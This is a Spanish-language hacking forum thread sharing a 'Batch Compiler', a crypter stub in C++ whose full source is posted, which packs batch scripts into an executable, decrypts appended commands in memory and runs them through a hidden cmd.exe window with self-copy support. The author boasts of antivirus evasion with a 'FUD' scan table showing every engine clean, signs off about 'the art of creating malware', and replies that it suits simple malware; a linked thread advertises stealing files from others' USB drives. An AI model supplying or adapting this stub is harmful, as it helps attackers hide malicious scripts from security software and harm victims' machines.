comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Batch Compiler [Convierte tus archivos Bat a Exe][OpenSC]

  • 2 Respuestas
  • 1856 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« en: Agosto 10, 2015, 02:56:12 am »


Hola, esta es una herramienta para quienes se dedican a programar scripts o sus cosas en batch, lo que hace este compilador es pasar tu programa a Ejecutable y lo crypta
y en ningún momento crea en el disco el archivo ni desencryptado ni cryptado, ejecuta comando por comando en memoria.
pueden usarse la variable %0 para autocopiarce con el nombre del ejecutable.




Citar
Codigo del Stub! [C/C++]
Código: C++
  1. #include <windows.h>
  2.  
  3. int __stdcall ExecuteCommand ( IN LPSTR lpszCommand );
  4. int __stdcall Decrypt ( LPSTR String, LPSTR Out );
  5.  
  6. int __stdcall ExecuteCommand ( IN LPSTR lpszCommand )
  7. {
  8.  
  9.         LPSTR szPath;
  10.         char newcommand [ lstrlenA ( lpszCommand ) + 50 ];
  11.         STARTUPINFOA si;
  12.         PROCESS_INFORMATION pi;
  13.        
  14.         ZeroMemory ( &si, sizeof ( si ) );
  15.         ZeroMemory ( &pi, sizeof ( pi ) );
  16.  
  17.         si.cb = sizeof ( si );
  18.        
  19.         szPath = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
  20.  
  21.         GetSystemDirectoryA ( szPath, MAX_PATH );
  22.         CopyMemory ( &szPath [ lstrlenA ( szPath ) ], &"\\cmd.exe", lstrlenA ( "cmd.exe" ) + 1 );
  23.  
  24.         wsprintfA ( newcommand, "/c %s", lpszCommand );
  25.        
  26.         CreateProcessA ( szPath, newcommand, 0, 0, false, CREATE_NO_WINDOW, 0, 0, &si, &pi );
  27.  
  28.         //ShellExecuteA ( HWND_DESKTOP, "open", szPath, newcommand, 0, SW_HIDE );
  29.  
  30.         WaitForSingleObject ( pi.hProcess, INFINITE );
  31.        
  32.         CloseHandle ( pi.hProcess );
  33.         CloseHandle ( pi.hThread );
  34.  
  35.         GlobalFree ( szPath );
  36.        
  37.         return 0;
  38.        
  39. }
  40.  
  41. //Funcion para desencryptar palabras
  42. int __stdcall Decrypt ( LPSTR String, LPSTR Out )
  43. {
  44.  
  45.         for ( ; *String != '\0'; *String ++ )
  46.         {
  47.                 if ( ( *String >= 65 ) && ( *String < 90 ) )
  48.                 {
  49.                         *Out = *String - 1;
  50.                 }
  51.                 else if ( ( *String >= 65 ) && ( *String == 90 ) )
  52.                 {
  53.                         *Out = *String + 1;
  54.                 }
  55.                 else if ( ( *String >= 97 ) && ( *String < 122 ) )
  56.                 {
  57.                         *Out = *String - 1;
  58.                 }
  59.                 else if ( ( *String >= 97 ) && ( *String == 122 ) )
  60.                 {
  61.                         *Out = *String - 1;
  62.                 }
  63.                 else
  64.                 {
  65.                         *Out = *String;
  66.                 }
  67.                
  68.                 *Out ++;
  69.         }
  70.  
  71.         return 0;
  72. }
  73.  
  74. int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  75.         LPSTR lpszArgument, int nCmdFunstil )
  76. {
  77.        
  78.         DWORD dwBytes, dwSize;
  79.         HANDLE File;
  80.         LPSTR Buffer, Command, AppName, backup;
  81.         register DWORD bytes = 0, x = 0, total = 0, test = 0;
  82.  
  83.         AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
  84.         GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
  85.  
  86.         File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
  87.         if ( File == INVALID_HANDLE_VALUE )
  88.         {
  89.                 CloseHandle ( File );
  90.                 return EXIT_FAILURE;
  91.         }
  92.  
  93.         dwSize = GetFileSize ( File, 0 );
  94.  
  95.         Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSize + 1 ) );
  96.         ReadFile ( File, Buffer, dwSize, &dwBytes, 0 );
  97.         CloseHandle ( File );
  98.  
  99.         //Buscamos la firma de nuestro programa.
  100.         for ( bytes; bytes <= dwSize; bytes ++ )
  101.         {
  102.                 if ( Buffer [ bytes ] == '*' && Buffer [ bytes + 1 ] == '+' &&
  103.                         Buffer [ bytes + 2 ] == '+' && Buffer [ bytes + 3 ] == '*' )
  104.                 {
  105.                         //Ajustamos el buffer y el nuevo tamaño.
  106.                         Buffer += ( bytes + 4 );
  107.                         dwSize -= ( bytes + 4 );
  108.  
  109.                         break;
  110.                 }
  111.         }
  112.  
  113.         //Desencryptamos el codigo en nustro EOF.
  114.         backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Buffer + 1 ) ) );
  115.         CopyMemory ( &backup [ 0 ], &Buffer [ 0 ], lstrlenA ( Buffer ) );
  116.        
  117.         GlobalFree ( Buffer );
  118.        
  119.         Buffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( backup ) + 1 ) );
  120.         Decrypt ( backup, Buffer );
  121.        
  122.         GlobalFree ( backup );
  123.  
  124.         for ( bytes = 0; bytes <= lstrlenA ( Buffer ); bytes ++ )
  125.         {
  126.                 if ( Buffer [ bytes ] == 13 || Buffer [ bytes ] == '\n' )
  127.                 {
  128.                         Command = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( bytes + 10 ) );
  129.                        
  130.                         CopyMemory ( &Command [ 0 ], &Buffer [ 0 ], ( bytes ) );
  131.                        
  132.                         total = lstrlenA ( Command );
  133.                         for ( x = 0; x <= total; x ++ )
  134.                         {
  135.                                
  136.                                 //En caso de existir la variable %0 - la sustituimos por la ruta de nuestro ejecutable.
  137.                                 if ( ( Command [ x ] == '%' ) && ( Command [ x + 1 ] == 48 ) )
  138.                                 {
  139.                                         backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Command ) + 1 ) );
  140.                                         CopyMemory ( &backup [ 0 ], &Command [ 0 ], lstrlenA ( Command ) );
  141.        
  142.                                         GlobalFree ( Command );
  143.  
  144.                                         Command = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( bytes + lstrlenA ( AppName ) + MAX_PATH ) );
  145.        
  146.                                         CopyMemory ( &Command [ 0 ], &backup [ 0 ], x - 1 );
  147.                                         lstrcatA ( Command, " " );
  148.                                         backup += ( x + 2 );
  149.                                         CopyMemory ( &Command [ lstrlenA ( Command ) ], &AppName [ 0 ], lstrlenA ( AppName ) );
  150.                        
  151.                                         CopyMemory ( &Command [ lstrlenA ( Command ) ], &backup [ 0 ], total - ( x + 2 ) );
  152.                                        
  153.                                         GlobalFree ( backup );
  154.        
  155.                                         break;
  156.                                 }
  157.                         }
  158.  
  159.                         for ( test = 0; test <= lstrlenA ( Command ); test ++ )
  160.                         {
  161.                                 if ( ( Command [ test ] == 13 ) || ( Command [ test ] == '\n' ) )
  162.                                 {
  163.                                
  164.                                         backup = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( lstrlenA ( Command ) + 1 ) );
  165.                                         CopyMemory ( &backup [ 0 ], &Command [ 0 ], test );
  166.                                        
  167.                                         ExecuteCommand ( backup );
  168.                                
  169.                                         Command += ( test + 1 );
  170.  
  171.                                         GlobalFree ( backup );
  172.                                 }
  173.                         }
  174.                                
  175.                         //Ejecutamos el comando
  176.                         ExecuteCommand ( Command );
  177.  
  178.                         //Reajustamos el buffer.
  179.                         Buffer += ( bytes + 2 );
  180.                        
  181.                         //Liberamos el buffer.
  182.                         GlobalFree ( Command );
  183.                 }
  184.         }
  185.  
  186.         GlobalFree ( AppName );
  187.         GlobalFree ( Buffer );
  188.  
  189.         return EXIT_SUCCESS;
  190. }
  191.  
  192.  

ANALISIS FUD
You are not allowed to view links. Register or Login

Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Clean
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Clean
Avast      20150805    Clean
Avira      20150805    Clean
Baidu-International      20150805    Clean
BitDefender      20150805    Clean
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Clean
F-Prot      20150805    Clean
F-Secure      20150805    Clean
Fortinet      20150804    Clean
GData      20150805    Clean
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Clean
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean


Link de descarga:
You are not allowed to view links. Register or Login

PASS: xxneeco83xx
« Última modificación: Agosto 10, 2015, 07:48:58 pm por EPSILON »
El arte de crear malware, es algo que solo pocos entienden!


Desconectado blackdrake

  • *
  • Moderator
  • Mensajes: 1892
  • Actividad:
    15%
  • Reputación 14
    • Ver Perfil
« Respuesta #1 en: Agosto 11, 2015, 09:06:26 am »
Clásico pero efectivo, muchas gracias @You are not allowed to view links. Register or Login



Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« Respuesta #2 en: Agosto 11, 2015, 06:21:19 pm »
You are not allowed to view links. Register or Login
Clásico pero efectivo, muchas gracias @You are not allowed to view links. Register or Login

Por nada! si bien hay muchas cosas que se le pueden agregar, y mejorar, es practico para esos scripts o malwares simples.
El arte de crear malware, es algo que solo pocos entienden!


 

¿Te gustó el post? COMPARTILO!



USBDumper [Roba todos los archivos de USB Ajenos]

Iniciado por xxneeco83xx

Respuestas: 7
Vistas: 4744
Último mensaje Marzo 30, 2018, 06:31:46 pm
por ANTRAX